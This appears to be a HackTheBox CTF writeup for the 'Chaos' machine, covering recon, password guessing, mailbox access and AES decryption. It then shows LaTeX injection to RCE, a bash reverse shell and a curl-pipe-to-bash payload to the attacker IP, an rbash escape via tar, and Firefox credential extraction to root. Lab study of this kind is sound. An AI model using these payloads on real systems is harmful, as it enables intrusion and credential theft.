> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md). # Chaos HackTheBox Writeup Chaos HackTheBox Medium Linux machine writeup covering Password Guessing, Abusing e-mail service (claws-mail), Crypto Challenge (Decrypt Secret Message - AES Encrypted), LaTeX Injection (RCE), with pr {% embed url="" %} {% hint style="warning" %} **Skills:** * Password Guessing * Abusing e-mail service (claws-mail) * Crypto Challenge (Decrypt Secret Message - AES Encrypted) * LaTeX Injection (RCE) * Bypassing rbash (Restricted Bash) * Extracting Credentials from Firefox Profile {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts ```

**Open Port Analysis with ExtractPorts (**80.110,143.993.995,10000) Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted ```

## **Exploitation** #### **Port 80 - Web Enumeration** Direct access via IP is blocked. We therefore add the `chaos.htb` domain in `/etc/hosts`.

#### **Directory Fuzzing** ```bash gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` No results.

**Fuzzing via l'adresse IP :** ```bash gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` We find a folder `/wp` indicating WordPress.

Add the `wordpress.chaos.htb` subdomain to `/etc/hosts`.

### **WordPress Enumeration**

We find a `Human` user on WordPress.

### **Password Guessing** A WordPress article contains a password. We test `Human` and it works.

We find credentials for a webmail: * **username**: ayush * **password**: jiujitsu ## **Port 993/995 - Webmail** Port 993 indicates an IMAP mail server.

We use `claws-mail` to access Ayush's mailbox. ```bash claws-mail ```

In an email we find two attached files and the message: > Hi, Sahay > > Check the enmsg.txt file. You're the XD password. I also attached the script I used to encrypt. Thank you.

## **Decrypt Secret Message - AES Encrypted**

We identified a `decrypt.py` script on GitHub, which belongs to the same project

{% embed url="" %} #### On execute: ```bash python3 decrypt.py Enter filename: ./enim_msg.txt Enter password: sahay ``` Content is decoded with `base64`:

```bash cat im_msg.txt | base64 -d; echo ``` Message reveals a LaTeX service on `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3` > **Hi Sahay,** > > Please discover our new service that creates PDFs. > > P.S. – As you advised me, I encrypted the important message. > > [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3) > > **Blocking controls** > > Thanks, **Ayush** > > Thanks, Ayush

## **LaTeX Injection Vulnerability** ### LaTeX Injection (file reader)

We intercept the request

#### Document PDF LaTeX:

We inject: ```latex /input{/etc/passwd} /include{password} ```

### **LaTeX RCE Exploitation** We execute a `id` command via: ```latex /immediate/write18{id > output} /newread/file /openin/file=output /read/file to/line /text{/line} /closein/file ```

#### **Reverse Shell** We listen to port 443: ```bash nc -nvlp 443 ``` We create a `index.html` bash script: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.61/443 0>&1 ``` We launch a web server: ```bash python3 -m http.server 80 ``` Payload injection: ```latex /immediate/write18{curl http://10.10.14.61 | bash > output} /newread/file /openin/file=output /read/file to/line /text{/line} /closein/file ```

## **Privilege Escalation** ### **Pivoting User Ayush - Bypass rbash** We connect as Ayush, but we are limited to a `rbash` shell.

List of available commands: ```bash compgen -c ``` We find `tar` and bypass `rbash` with:

{% embed url="" %} ```bash tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ```

### Flag user.txt :) We get access to a full shell and recover `user.txt`.

## **Firefox Credential Extraction** In the `.mozilla` folder of Ayush we find `key4.db` and `logins.json`.

We transfer them to our machine:

```bash python3 -m http.server 8080 wget -r chaos.htb:8080 ```

Decrypting IDs with `firefox_decrypt.py`: {% embed url="" %} ```bash python3 firefox_decrypt.py chaos.htb:8080 ``` We enter `jiujitsu` as the main password and recover:

> Main password for profile chaos.htb:8080/bzo7sjt1.default > > Website: > > Username: 'root' Password: 'Thiv8wrej/\~ Root connection:

### Flag root.txt

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